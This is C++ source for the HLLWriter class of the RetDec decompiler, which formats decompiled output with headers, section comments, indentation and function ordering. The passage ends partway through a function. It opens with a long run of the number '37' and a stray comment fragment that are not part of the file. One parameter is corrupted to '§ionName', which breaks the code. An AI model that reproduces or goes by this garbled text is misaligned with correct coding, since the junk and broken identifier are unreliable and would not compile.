37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37
*/
|
/**
* @file src/llvmir2hll/hll/hll_writer.cpp
* @brief Implementation of HLLWriter.
* @copyright (c) 2017 Avast Software, licensed under the MIT license
*/
#include <algorithm>
#include <cstddef>
#include <sstream>
#include "retdec/llvmir2hll/hll/bracket_manager.h"
#include "retdec/llvmir2hll/hll/hll_writer.h"
#include "retdec/llvmir2hll/ir/array_type.h"
#include "retdec/llvmir2hll/ir/binary_op_expr.h"
#include "retdec/llvmir2hll/ir/call_expr.h"
#include "retdec/llvmir2hll/ir/const_array.h"
#include "retdec/llvmir2hll/ir/const_int.h"
#include "retdec/llvmir2hll/ir/const_symbol.h"
#include "retdec/llvmir2hll/ir/float_type.h"
#include "retdec/llvmir2hll/ir/function.h"
#include "retdec/llvmir2hll/ir/global_var_def.h"
#include "retdec/llvmir2hll/ir/int_type.h"
#include "retdec/llvmir2hll/ir/module.h"
#include "retdec/llvmir2hll/ir/pointer_type.h"
#include "retdec/llvmir2hll/ir/statement.h"
#include "retdec/llvmir2hll/ir/string_type.h"
#include "retdec/llvmir2hll/ir/struct_type.h"
#include "retdec/llvmir2hll/ir/unary_op_expr.h"
#include "retdec/llvmir2hll/ir/variable.h"
#include "retdec/llvmir2hll/llvm/llvm_support.h"
#include "retdec/llvmir2hll/support/debug.h"
#include "retdec/llvmir2hll/support/global_vars_sorter.h"
#include "retdec/llvmir2hll/support/smart_ptr.h"
#include "retdec/llvmir2hll/utils/ir.h"
#include "retdec/llvmir2hll/utils/string.h"
#include "retdec/utils/container.h"
#include "retdec/utils/conversion.h"
#include "retdec/utils/string.h"
#include "retdec/utils/time.h"
using namespace std::string_literals;
using retdec::utils::getCurrentDate;
using retdec::utils::getCurrentTime;
using retdec::utils::getCurrentYear;
using retdec::utils::hasItem;
using retdec::utils::joinStrings;
using retdec::utils::split;
using retdec::utils::startsWith;
using retdec::utils::toHex;
using retdec::utils::toString;
namespace retdec {
namespace llvmir2hll {
namespace {
/// Spaces to indent a single level of nesting.
const std::string LEVEL_INDENT = " ";
/// Default indentation level (for global values).
const std::string DEFAULT_LEVEL_INDENT = "";
/// Maximal length of a section header comment.
const std::size_t MAX_SECTION_HEADER_LENGTH = 58;
/// Separating character in a section header comment.
const char SECTION_COMMENT_SEP_CHAR = '-';
/**
* @brief Comparator of functions based on line information from debug
* information.
*/
class LineInfoFuncComparator {
public:
/**
* @brief Constructs a new comparator.
*
* @param[in] module The current module.
*
* @par Preconditions
* - all functions in @a module have available line information
*/
explicit LineInfoFuncComparator(ShPtr<Module> module):
module(module) {}
/**
* @brief Returns @c true if @a f1 starts on a smaller line number than @a
* f2, @c false otherwise.
*/
bool operator()(ShPtr<Function> f1, ShPtr<Function> f2) {
auto f1LineRange = module->getLineRangeForFunc(f1);
auto f2LineRange = module->getLineRangeForFunc(f2);
return f1LineRange.first < f2LineRange.first;
}
private:
/// The current module.
ShPtr<Module> module;
};
/**
* @brief Comparator of functions based on address ranges.
*/
class AddressRangeFuncComparator {
public:
/**
* @brief Constructs a new comparator.
*
* @param[in] module The current module.
*
* @par Preconditions
* - all functions in @a module have available address ranges
*/
explicit AddressRangeFuncComparator(ShPtr<Module> module):
module(module) {}
/**
* @brief Returns @c true if @a f1 starts on a smaller address than @a f2,
* @c false otherwise.
*/
bool operator()(ShPtr<Function> f1, ShPtr<Function> f2) {
auto f1AddressRange = module->getAddressRangeForFunc(f1);
auto f2AddressRange = module->getAddressRangeForFunc(f2);
return f1AddressRange.first < f2AddressRange.first;
}
private:
/// The current module.
ShPtr<Module> module;
};
} // anonymous namespace
/**
* @brief Constructs a new writer.
*
* @param[in] out Output stream into which the HLL code will be emitted.
*/
HLLWriter::HLLWriter(llvm::raw_ostream &out):
out(out), emitConstantsInStructuredWay(false),
optionEmitDebugComments(true), optionKeepAllBrackets(false),
optionEmitTimeVaryingInfo(true), optionUseCompoundOperators(true),
currFuncGotoLabelCounter(1), currentIndent(DEFAULT_LEVEL_INDENT) {}
/**
* @brief Destructs the writer.
*/
HLLWriter::~HLLWriter() {}
/**
* @brief Enables/disables the emission of debug comments.
*
* @param[in] emit If @c true, enables the emission of debug comments. If @c
* false, disables the emission of debug comments.
*/
void HLLWriter::setOptionEmitDebugComments(bool emit) {
optionEmitDebugComments = emit;
}
/**
* @brief Enables/disables the keeping of all brackets.
*
* @param[in] keep If @c true, all brackets will be kept. If @c false, redundant
* brackets will be eliminated.
*/
void HLLWriter::setOptionKeepAllBrackets(bool keep) {
optionKeepAllBrackets = keep;
}
/**
* @brief Enables/disables emission of time-varying information, like dates.
*
* @param[in] emit If @c true, time-varying information, like dates, will be
* emitted.
*/
void HLLWriter::setOptionEmitTimeVaryingInfo(bool emit) {
optionEmitTimeVaryingInfo = emit;
}
/**
* @brief Enables/disables usage of compound operators (like @c +=) instead of
* assignments.
*
* @param[in] use If @c true, compound operators will be used.
*/
void HLLWriter::setOptionUseCompoundOperators(bool use) {
optionUseCompoundOperators = use;
}
/**
* @brief Emits the code from the given module.
*
* @param[in] module Module to be written.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* The functions prints the code blocks in the following order (by calling
* appropriate emit*() functions):
* - file header
* - function prototypes header, function prototypes, function prototypes footer
* - global header, global variables, global footer
* - functions header, functions, functions footer
* - external functions header, external functions, external functions footer
* (there are many types of external functions; a separate section is emitted
* for each type)
* - meta-information header, meta-information, meta-information footer
* - file footer
*
* Each block is separated by a blank line. A subclass of this class can just
* override the appropriate emit*() functions. To change the order of blocks,
* override this function.
*/
bool HLLWriter::emitTargetCode(ShPtr<Module> module) {
this->module = module;
bool codeEmitted = false;
namesOfFuncsWithFixedIR = module->getNamesOfFuncsFixedWithLLVMIRFixer();
if (emitFileHeader()) { codeEmitted = true; out << "\n"; }
//
// Classes
//
if (emitClassesHeader()) { codeEmitted = true; out << "\n";}
if (emitClasses()) { codeEmitted = true; out << "\n";}
if (emitClassesFooter()) { codeEmitted = true; out << "\n"; }
//
// Function prototypes
//
if (emitFunctionPrototypesHeader()) { codeEmitted = true; out << "\n";}
if (emitFunctionPrototypes()) { codeEmitted = true; out << "\n";}
if (emitFunctionPrototypesFooter()) { codeEmitted = true; out << "\n"; }
//
// Global variables
//
// Note: Global variables have to be emitted after function prototypes
// because there may be a global variable initialized with a function from
// the module. For example,
//
// void (*fp)(void) = func;
// void func(void);
//
// is semantically invalid (from the view of C99) while
//
// void func(void);
// void (*fp)(void) = func;
//
// is OK.
if (emitGlobalVariablesHeader()) { codeEmitted = true; out << "\n"; }
if (emitGlobalVariables()) { codeEmitted = true; out << "\n"; }
if (emitGlobalVariablesFooter()) { codeEmitted = true; out << "\n"; }
//
// Functions
//
if (emitFunctionsHeader()) { codeEmitted = true; out << "\n"; }
if (emitFunctions()) { codeEmitted = true; out << "\n"; }
if (emitFunctionsFooter()) { codeEmitted = true; out << "\n"; }
//
// Statically linked functions
//
if (emitStaticallyLinkedFunctionsHeader()) { codeEmitted = true; out << "\n"; }
if (emitStaticallyLinkedFunctions()) { codeEmitted = true; out << "\n"; }
if (emitStaticallyLinkedFunctionsFooter()) { codeEmitted = true; out << "\n"; }
//
// Dynamically linked functions
//
if (emitDynamicallyLinkedFunctionsHeader()) { codeEmitted = true; out << "\n"; }
if (emitDynamicallyLinkedFunctions()) { codeEmitted = true; out << "\n"; }
if (emitDynamicallyLinkedFunctionsFooter()) { codeEmitted = true; out << "\n"; }
//
// Syscall functions
//
if (emitSyscallFunctionsHeader()) { codeEmitted = true; out << "\n"; }
if (emitSyscallFunctions()) { codeEmitted = true; out << "\n"; }
if (emitSyscallFunctionsFooter()) { codeEmitted = true; out << "\n"; }
//
// Instruction-idiom functions
//
if (emitInstructionIdiomFunctionsHeader()) { codeEmitted = true; out << "\n"; }
if (emitInstructionIdiomFunctions()) { codeEmitted = true; out << "\n"; }
if (emitInstructionIdiomFunctionsFooter()) { codeEmitted = true; out << "\n"; }
//
// Meta-information
//
if (emitMetaInfoHeader()) { codeEmitted = true; out << "\n"; }
if (emitMetaInfo()) { codeEmitted = true; out << "\n"; }
if (emitMetaInfoFooter()) { codeEmitted = true; out << "\n"; }
if (emitFileFooter()) { codeEmitted = true; }
return codeEmitted;
}
/**
* @brief Comments the given code.
*
* If @a code spans over multiple lines, this function makes sure that the
* whole block is properly commented.
*
* By default, it comments all lines by prefixing them with getCommentPrefix().
*/
std::string HLLWriter::comment(const std::string &code) {
std::string commentPrefix(getCommentPrefix());
// If there are no newlines, the situation is easy.
if (code.find_first_of("\n") == std::string::npos) {
return commentPrefix + " " + code;
}
// We split the code by newlines and comment them separately.
StringVector codeLines(split(code, '\n', false));
// Do not comment the last empty line (if any).
if (!codeLines.empty() && codeLines.back().empty()) {
codeLines.pop_back();
}
std::string result;
for (const auto &line : codeLines) {
// Insert a space between the comment prefix and the code only if the
// code is non-empty to prevent trailing spaces.
result += commentPrefix + (!line.empty() ? " " + line : line) + "\n";
}
return result;
}
/**
* @brief Increases the indentation level.
*/
void HLLWriter::increaseIndentLevel() {
currentIndent += LEVEL_INDENT;
}
/**
* @brief Decreases the indentation level.
*/
void HLLWriter::decreaseIndentLevel() {
currentIndent.resize(currentIndent.size() - LEVEL_INDENT.size());
}
/**
* @brief Returns the current indentation (to indent the current block).
*/
std::string HLLWriter::getCurrentIndent() const {
return currentIndent;
}
/**
* @brief Returns the single level of indentation.
*
* The returned value is the string that is used in increaseIndentLevel() and
* decreaseIndentLevel() to increase and decrease the current indentation,
* respectively.
*/
std::string HLLWriter::getSingleLevelIndent() const {
return LEVEL_INDENT;
}
/**
* @brief Returns indentation for a goto label.
*/
std::string HLLWriter::getIndentForGotoLabel() const {
// Goto labels are emitted in the following form:
//
// # ...
// label:
// # ...
//
// In words, we put the goto label half of one indentation level to the
// left. For example, if the indentation level is 4, we put the label 2
// spaces before the current indent.
return std::string(
getCurrentIndent().size() - getSingleLevelIndent().size() / 2,
' '
);
}
/**
* @brief Emits the file header.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits the default header.
*/
bool HLLWriter::emitFileHeader() {
// Prepare the header.
std::ostringstream header;
header << "\n";
header << "This file was generated by the Retargetable Decompiler\n";
header << "Website: https://retdec.com\n";
header << "Copyright (c)";
if (optionEmitTimeVaryingInfo) {
header << " " << getCurrentYear();
}
header << " Retargetable Decompiler <info@retdec.com>\n";
header << "\n";
// Emit it.
out << comment(header.str());
return true;
}
/**
* @brief Emits the file footer.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitFileFooter() {
return false;
}
/**
* @brief Emits the header of the <em>classes</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitClassesHeader() {
if (module->hasClasses()) {
emitSectionHeader("Classes");
return true;
}
return false;
}
/**
* @brief Emits classes.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it calls emitClass() for each class.
*/
bool HLLWriter::emitClasses() {
bool somethingEmitted = false;
for (const auto &className : module->getClassNames()) {
somethingEmitted |= emitClass(className);
}
return somethingEmitted;
}
/**
* @brief Emits the class with the given name.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitClass(const std::string &className) {
std::ostringstream classInfo;
// Name of the class.
classInfo << getReadableClassName(className);
// Names of base classes.
auto baseClassNames = module->getBaseClassNames(className);
if (!baseClassNames.empty()) {
classInfo << " (base classes: " <<
joinStrings(getReadableClassNames(baseClassNames)) << ")";
}
out << comment(classInfo.str() + "\n");
return true;
}
/**
* @brief Emits the footer of the <em>classes</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitClassesFooter() {
return false;
}
/**
* @brief Emits the header of the <em>global variables</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitGlobalVariablesHeader() {
if (module->hasGlobalVars()) {
emitSectionHeader("Global Variables");
return true;
}
return false;
}
/**
* @brief Emits all global variables in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it it calls emitGlobalVariable() on
* each global variable in the module.
*/
bool HLLWriter::emitGlobalVariables() {
auto globalVars = GlobalVarsSorter::sortByInterdependencies(
{module->global_var_begin(), module->global_var_end()}
);
for (const auto &var : globalVars) {
emitGlobalVariable(var);
}
return !globalVars.empty();
}
/**
* @brief Emits the given global variable, including the ending newline.
*
* @param[in] varDef Definition of the variable.
*
* @par Preconditions
* - @a varDef is non-null
*
* By default (if it is not overridden), it calls @c varDef->accept(this) and
* returns @c true.
*/
bool HLLWriter::emitGlobalVariable(ShPtr<GlobalVarDef> varDef) {
emitDetectedCryptoPatternForGlobalVarIfAvailable(varDef->getVar());
varDef->accept(this);
return true;
}
/**
* @brief Emits the footer of the <em>global variables</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitGlobalVariablesFooter() {
return false;
}
/**
* @brief Emits the header of the <em>function prototypes</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitFunctionPrototypesHeader() {
return false;
}
/**
* @brief Emits function prototypes.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitFunctionPrototypes() {
return false;
}
/**
* @brief Emits the footer of the <em>function prototypes</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitFunctionPrototypesFooter() {
return false;
}
/**
* @brief Emits the header of the <em>functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitFunctionsHeader() {
if (module->hasFuncDefinitions()) {
emitSectionHeader("Functions");
return true;
}
return false;
}
/**
* @brief Emits functions in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it tries to sort the functions in the
* module and calls emitFunction() on each of them.
*/
bool HLLWriter::emitFunctions() {
FuncVector funcs(module->func_definition_begin(), module->func_definition_end());
sortFuncsForEmission(funcs);
bool somethingEmitted = false;
for (const auto &func : funcs) {
if (somethingEmitted) {
// To produce an empty line between functions.
out << "\n";
}
somethingEmitted |= emitFunction(func);
}
return somethingEmitted;
}
/**
* @brief Emits the given function, including the ending newline.
*
* @param[in] func Function to be emitted.
*
* By default, it emits information about @a func (like address range, module,
* etc., if available), and then calls @c func->accept(this).
*
* @par Preconditions
* - @a func is non-null
*/
bool HLLWriter::emitFunction(ShPtr<Function> func) {
PRECONDITION_NON_NULL(func);
currFunc = func;
currFuncGotoLabelCounter = 0;
emitModuleNameForFuncIfAvailable(func);
emitAddressRangeForFuncIfAvailable(func);
emitLineRangeForFuncIfAvailable(func);
// TODO Disable emission of wrapper info until #189 is solved.
// emitWrapperInfoForFuncIfAvailable(func);
emitClassInfoIfAvailable(func);
emitDemangledNameIfAvailable(func);
emitDetectedCryptoPatternsForFuncIfAvailable(func);
emitLLVMIRFixerWarningForFuncIfAny(func);
// The comment HAS to be put as the LAST info, right before the function's
// signature. IDA plugin relies on that.
emitCommentIfAvailable(func);
func->accept(this);
currFunc.reset();
return true;
}
/**
* @brief Emits the footer of the <em>functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitFunctionsFooter() {
return false;
}
/**
* @brief Emits the header of the <em>statically linked functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitStaticallyLinkedFunctionsHeader() {
if (module->hasStaticallyLinkedFuncs()) {
emitSectionHeader("Statically Linked Functions");
return true;
}
return false;
}
/**
* @brief Emits statically linked functions in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it sort all statically linked functions
* in the module by their name and calls emitExternalFunction() on each of them.
*/
bool HLLWriter::emitStaticallyLinkedFunctions() {
return emitExternalFunctions(module->getStaticallyLinkedFuncs());
}
/**
* @brief Emits the footer of the <em>dynamically linked functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitStaticallyLinkedFunctionsFooter() {
return false;
}
/**
* @brief Emits the header of the <em>dynamically linked functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitDynamicallyLinkedFunctionsHeader() {
if (module->hasDynamicallyLinkedFuncs()) {
emitSectionHeader("Dynamically Linked Functions");
return true;
}
return false;
}
/**
* @brief Emits dynamically linked functions in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it sort all dynamically linked
* functions in the module by their name and calls emitExternalFunction() on
* each of them.
*/
bool HLLWriter::emitDynamicallyLinkedFunctions() {
return emitExternalFunctions(module->getDynamicallyLinkedFuncs());
}
/**
* @brief Emits the footer of the <em>dynamically linked functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitDynamicallyLinkedFunctionsFooter() {
return false;
}
/**
* @brief Emits the header of the <em>syscall functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitSyscallFunctionsHeader() {
if (module->hasSyscallFuncs()) {
emitSectionHeader("System-Call Functions");
return true;
}
return false;
}
/**
* @brief Emits syscall functions in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it sort all syscall functions in the
* module by their name and calls emitExternalFunction() on each of them.
*/
bool HLLWriter::emitSyscallFunctions() {
return emitExternalFunctions(module->getSyscallFuncs());
}
/**
* @brief Emits the footer of the <em>syscall functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitSyscallFunctionsFooter() {
return false;
}
/**
* @brief Emits the header of the <em>instruction-idiom functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*/
bool HLLWriter::emitInstructionIdiomFunctionsHeader() {
if (module->hasInstructionIdiomFuncs()) {
emitSectionHeader("Instruction-Idiom Functions");
return true;
}
return false;
}
/**
* @brief Emits instruction-idiom functions in the module.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it sort all instruction-idiom functions
* in the module by their name and calls emitExternalFunction() on each of them.
*/
bool HLLWriter::emitInstructionIdiomFunctions() {
return emitExternalFunctions(module->getInstructionIdiomFuncs());
}
/**
* @brief Emits the footer of the <em>instruction-idiom functions</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitInstructionIdiomFunctionsFooter() {
return false;
}
/**
* @brief Emits the given external functions.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it sort all the given functions and
* calls emitExternalFunction() on each of them.
*/
bool HLLWriter::emitExternalFunctions(const FuncSet &funcs) {
FuncVector toEmit(funcs.begin(), funcs.end());
sortByName(toEmit);
bool somethingEmitted = false;
for (auto &func : toEmit) {
somethingEmitted |= emitExternalFunction(func);
}
return somethingEmitted;
}
/**
* @brief Emits the given linked function, including the ending newline.
*
* @param[in] func Linked function to be emitted.
*
* @par Preconditions
* - @a func is non-null
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitExternalFunction(ShPtr<Function> func) {
return false;
}
/**
* @brief Emits the header of the <em>meta-information</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitMetaInfoHeader() {
emitSectionHeader("Meta-Information");
return true;
}
/**
* @brief Emits meta-information.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits several meta-information
* concerning the generated code.
*/
bool HLLWriter::emitMetaInfo() {
bool codeEmitted = false;
codeEmitted |= emitMetaInfoDetectedCompilerOrPacker();
codeEmitted |= emitMetaInfoDetectedLanguage();
codeEmitted |= emitMetaInfoNumberOfDetectedFuncs();
codeEmitted |= emitMetaInfoSelectedButNotFoundFuncs();
if (optionEmitTimeVaryingInfo) {
codeEmitted |= emitMetaInfoDecompilationDate();
}
codeEmitted |= emitMetaInfoFuncsRemovedDueErrors();
codeEmitted |= emitMetaInfoNumberOfDecompilationErrors();
return codeEmitted;
}
/**
* @brief Emits the footer of the <em>meta-information</em> block.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* By default (if it is not overridden), it emits nothing.
*/
bool HLLWriter::emitMetaInfoFooter() {
return false;
}
/**
* @brief Emits the given expression with brackets around it (if needed).
*/
void HLLWriter::emitExprWithBracketsIfNeeded(ShPtr<Expression> expr) {
bool bracketsAreNeeded = bracketsManager->areBracketsNeeded(expr);
if (bracketsAreNeeded) {
out << "(";
}
expr->accept(this);
if (bracketsAreNeeded) {
out << ")";
}
}
/**
* @brief Emits the given unary expression.
*
* @param[in] opRepr Textual representation of the operator (including spaces).
* @param[in] expr Expression to be emitted.
*
* Brackets are emitted when needed. Use this function if you simply need to
* emit the operator without any specialties.
*/
void HLLWriter::emitUnaryOpExpr(const std::string &opRepr,
ShPtr<UnaryOpExpr> expr) {
out << opRepr;
emitExprWithBracketsIfNeeded(expr->getOperand());
}
/**
* @brief Emits the given binary expression.
*
* @param[in] opRepr Textual representation of the operator (including spaces).
* @param[in] expr Expression to be emitted.
*
* Brackets are emitted when needed. Use this function if you simply need to
* emit the operator without any specialties.
*/
void HLLWriter::emitBinaryOpExpr(const std::string &opRepr,
ShPtr<BinaryOpExpr> expr) {
bool bracketsAreNeeded = bracketsManager->areBracketsNeeded(expr);
if (bracketsAreNeeded) {
out << "(";
}
expr->getFirstOperand()->accept(this);
out << opRepr;
expr->getSecondOperand()->accept(this);
if (bracketsAreNeeded) {
out << ")";
}
}
/**
* @brief Emits a description of the detected cryptographic pattern for the
* given global variable.
*
* The description is emitted in a comment and ended with an new line.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitDetectedCryptoPatternForGlobalVarIfAvailable(ShPtr<Variable> var) {
auto pattern = module->getDetectedCryptoPatternForGlobalVar(var);
if (pattern.empty()) {
return false;
}
std::ostringstream info;
info << "Detected cryptographic pattern: " << pattern << "\n";
out << comment(info.str());
return true;
}
/**
* @brief If there is a module name from debug information assigned to the
* function, emit it in a comment.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitModuleNameForFuncIfAvailable(ShPtr<Function> func) {
auto moduleName = module->getDebugModuleNameForFunc(func);
if (moduleName.empty()) {
return false;
}
std::ostringstream info;
info << "From module: " << moduleName << "\n";
out << comment(info.str());
return true;
}
/**
* @brief Emits address range for the given function (if available).
*
* If there is address range available, emit it in a comment.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitAddressRangeForFuncIfAvailable(ShPtr<Function> func) {
auto addressRange = module->getAddressRangeForFunc(func);
if (addressRange == NO_ADDRESS_RANGE) {
return false;
}
std::ostringstream info;
info << "Address range: " << "0x" + toHex(addressRange.first) +
" - 0x" + toHex(addressRange.second) << "\n";
out << comment(info.str());
return true;
}
/**
* @brief Emits line range for the given function (if available).
*
* If there is line information available, emit the line range in a comment.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitLineRangeForFuncIfAvailable(ShPtr<Function> func) {
auto lineRange = module->getLineRangeForFunc(func);
if (lineRange == NO_LINE_RANGE) {
return false;
}
std::ostringstream info;
info << "Line range: " << lineRange.first << " - "
<< lineRange.second << "\n";
out << comment(info.str());
return true;
}
/**
* @brief Emits wrapper-related information for the given function (if
* available).
*
* See the description of Module::getWrappedFuncName() for more details.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitWrapperInfoForFuncIfAvailable(ShPtr<Function> func) {
auto wrappedFunc = module->getWrappedFuncName(func);
if (wrappedFunc.empty()) {
return false;
}
out << comment("Wraps: " + wrappedFunc + "\n");
return true;
}
/**
* @brief Emits class-related information for the given function (if available).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitClassInfoIfAvailable(ShPtr<Function> func) {
auto className = module->getClassForFunc(func);
if (className.empty()) {
return false;
}
out << comment("From class: " + getReadableClassName(className) + "\n");
auto funcType = module->getTypeOfFuncInClass(func, className);
if (!funcType.empty()) {
out << comment("Type: " + funcType + "\n");
}
return true;
}
/**
* @brief Emits demangled name of the given function (if available).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitDemangledNameIfAvailable(ShPtr<Function> func) {
auto demangledName = module->getDemangledNameOfFunc(func);
if (demangledName.empty()) {
return false;
}
out << comment("Demangled: " + demangledName + "\n");
return true;
}
/**
* @brief Emits a comment of the given function (if available).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitCommentIfAvailable(ShPtr<Function> func) {
auto funcComment = module->getCommentForFunc(func);
if (funcComment.empty()) {
return false;
}
// When there are no line breaks in the comment, we can emit it on a single
// line:
//
// // Comment: This is a single-line comment.
//
// Otherwise, emit the comment in a block:
//
// // Comment:
// // This is a
// // multi-line
// // comment.
//
// The reason is that our IDA plugin uses this format when the user updates
// the comment, so we should be consistent.
//
// Config::getCommentForFunc() unified line breaks to LF (\n), so we can
// use it as a separator.
auto parts = split(funcComment, '\n', /*trimWhitespace=*/false);
if (parts.size() == 1) {
out << comment("Comment: " + funcComment + "\n");
} else {
// A multi-line comment.
out << comment("Comment:\n");
for (const auto &part : parts) {
// Our IDA plugin uses four spaces for indentation, so be
// consistent.
out << comment(" " + part + "\n");
}
}
return true;
}
/**
* @brief Emits a list of detected cryptographic patterns for the given function
* (if available).
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitDetectedCryptoPatternsForFuncIfAvailable(ShPtr<Function> func) {
auto patterns = module->getDetectedCryptoPatternsForFunc(func);
if (patterns.empty()) {
return false;
}
std::ostringstream usedPatterns;
usedPatterns << "Used cryptographic patterns:\n";
for (auto &pattern : patterns) {
usedPatterns << " - " << pattern << "\n";
}
out << comment(usedPatterns.str());
return true;
}
/**
* @brief Emits a warning from LLVM IR fixing script (if any).
*
* If the function's body was fixed by the LLVM IR fixing script, put
* this information in to the generated code as a comment.
*
* @return @c true if some code was emitted, @c false otherwise.
*/
bool HLLWriter::emitLLVMIRFixerWarningForFuncIfAny(ShPtr<Function> func) {
if (!hasItem(namesOfFuncsWithFixedIR, func->getName())) {
return false;
}
out << comment(
"Warning: There were some errors during the decompilation of the following\n"
" function. Therefore, its body may be incomplete.\n");
return true;
}
/**
* @brief Emits a section header comment.
*
* @param[in] sectionName Name of the section.
*
* The emitted comment is ended with a newline.
*/
void HLLWriter::emitSectionHeader(const std::string §ionName) {
// The section header is of the following form:
//
// -------------------- Section Name ---------------------
//
// Compute the proper number of '-'s.
auto nameLength = sectionName.size();
auto separatorLength = (MAX_SECTION_HEADER_LENGTH - nameLength) / 2;
auto leftSeparator = std::string(separatorLength, SECTION_COMMENT_SEP_CHAR);
auto rightSeparator = leftSeparator;
if (nameLength % 2 != 0) {
// Compensation for an odd length of the section name.
rightSeparator += SECTION_COMMENT_SEP_CHAR;
}
// Emit the comment.
auto section = leftSeparator + " " + sectionName + " " + rightSeparator;
out << getCurrentIndent() << comment(section) << "\n";
}
/**
* @brief Sort the given list of functions for emission.
*
* If there is line information from debug information available, the functions
* are sorted by their position in the original source code. If line information
* is not available but there are address ranges, they are sorted by them.
* Otherwise, the order is left untouched.
*/
void HLLWriter::sortFuncsForEmission(FuncVector &funcs) {
if (module->allFuncDefinitionsHaveLineRange()) {
std::sort(funcs.begin(), funcs.end(), LineInfoFuncComparator(module));
return;
}
if (module->allFuncDefinitionsHaveAddressRange()) {
std::sort(funcs.begin(), funcs.end(), AddressRangeFuncComparator(module));
return;
}
}
/**
* @brief Tries to emit a comment with the information about the given variable.
*
* @return @c true if some code has been emitted, @c false otherwise.
*
* If the emission of debug comments is disabled, this function does nothing and
* returns @c false;
*/
bool HLLWriter::tryEmitVarInfoInComment(ShPtr<Variable> var) {
if (!optionEmitDebugComments) {
return false;
}
// Both local and global variables can have an address.
bool infoEmitted = tryEmitVarAddressInComment(var);
if (infoEmitted) {
return true;
}
if (module->isGlobalVar(var)) {
